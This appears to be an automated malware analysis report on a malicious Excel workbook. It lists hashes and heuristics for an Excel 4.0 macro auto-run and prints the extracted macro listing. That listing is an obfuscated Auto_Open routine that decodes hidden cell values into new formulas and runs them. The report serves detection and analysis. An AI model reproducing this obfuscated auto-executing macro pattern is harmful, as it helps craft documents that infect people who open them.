Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ad431d569eb5474c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:45:23 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: 1ff7f9ffa920f6af146002673b804a37 SHA-1: 053d160c2eec17cfb3319c664779840751e6411a SHA-256: ad431d569eb5474cb8c4cb936c3d3cfb780ccfcef5ce71a2e44b0b1d503dfa5e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6487 bytes
SHA-256: 03e7d503c3091c3590708fdfcd6329e54039e67fe8c9b591399dcc86dba5b4b5
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  tMSSZ
' 0018     25 LABEL : Cell Value, String Constant - AQcANIkRKf len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G162 
' 0018     27 LABEL : Cell Value, String Constant - BuMXBedhsiYB len=0 
' 0018     25 LABEL : Cell Value, String Constant - CeTtnCgDAZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - chXggrRR len=0 
' 0018     23 LABEL : Cell Value, String Constant - CJkOJIeF len=0 
' 0018     21 LABEL : Cell Value, String Constant - DMftnM len=0 
' 0018     26 LABEL : Cell Value, String Constant - dsuCQImrWXa len=0 
' 0018     24 LABEL : Cell Value, String Constant - ETVUXgrKM len=0 
' 0018     25 LABEL : Cell Value, String Constant - FwxxllqBlA len=0 
' 0018     26 LABEL : Cell Value, String Constant - gYspxwJdWpP len=0 
' 0018     20 LABEL : Cell Value, String Constant - hTOfF len=0 
' 0018     26 LABEL : Cell Value, String Constant - hXleHgoxuas len=0 
' 0018     21 LABEL : Cell Value, String Constant - iCNnKB len=0 
' 0018     20 LABEL : Cell Value, String Constant - PObir len=0 
' 0018     27 LABEL : Cell Value, String Constant - pVlqGzeMfIGl len=0 
' 0018     23 LABEL : Cell Value, String Constant - qkMUERQp len=0 
' 0018     24 LABEL : Cell Value, String Constant - QvgSigAoK len=0 
' 0018     26 LABEL : Cell Value, String Constant - RWKvAgBCpzZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - vlCSBj len=0 
' 0018     27 LABEL : Cell Value, String Constant - yXjgHAmWbhLE len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  tMSSZ,G73,"SET.NAME("hXleHgoxuas",VALUE("0"))",""
'  tMSSZ,G76,"SET.NAME("gYspxwJdWpP",hXleHgoxuas)",""
'  tMSSZ,G80,"SET.NAME("vlCSBj",hXleHgoxuas)",""
'  tMSSZ,G82,"SET.NAME("DMftnM",COUNTA(dsuCQImrWXa))",""
'  tMSSZ,G86,"SET.NAME("chXggrRR",COUNTA(CeTtnCgDAZ))",""
'  tMSSZ,G91,[],""
'  tMSSZ,G95,"SET.NAME("RWKvAgBCpzZ","")",""
'  tMSSZ,G97,"gYspxwJdWpP",""
'  tMSSZ,G101,"SET.NAME("yXjgHAmWbhLE",HLOOKUP("*",dsuCQImrWXa,gYspxwJdWpP,FALSE))",""
'  tMSSZ,G103,"PObir",""
'  tMSSZ,G107,"SET.NAME("FwxxllqBlA",hXleHgoxuas)",""
'  tMSSZ,G109,[],""
'  tMSSZ,G113,"FwxxllqBlA",""
'  tMSSZ,G118,"pVlqGzeMfIGl",""
'  tMSSZ,G122,"QvgSigAoK",""
'  tMSSZ,G124,"ETVUXgrKM",""
'  tMSSZ,G126,"SET.NAME("iCNnKB",VALUE(HLOOKUP("*",CeTtnCgDAZ,ETVUXgrKM,FALSE)))",""
'  tMSSZ,G131,"hTOfF",""
'  tMSSZ,G135,"RWKvAgBCpzZ",""
'  tMSSZ,G138,"vlCSBj",""
'  tMSSZ,G143,NEXT(),""
'  tMSSZ,G147,"AQcANIkRKf",""
'  tMSSZ,G149,"SET.NAME("f",INT(T(FORMULA(T(RWKvAgBCpzZ)&"",""&T(AQcANIkRKf)))))",""
'  tMSSZ,G151,"qkMUERQp",""
'  tMSSZ,G156,NEXT(),""
'  tMSSZ,G158,RETURN(),""
'  tMSSZ,G191,"SET.NAME("CJkOJIeF",G73)",""
'  tMSSZ,G194,"dsuCQImrWXa",""
'  tMSSZ,G196,"SET.NAME("CeTtnCgDAZ",R70C13)",""
'  tMSSZ,G201,"SET.NAME("qkMUERQp",211)",""
'  tMSSZ,G206,"SET.NAME("BuMXBedhsiYB",7)",""
'  tMSSZ,G210,CJkOJIeF(),""
'  tMSSZ,G211,HALT(),""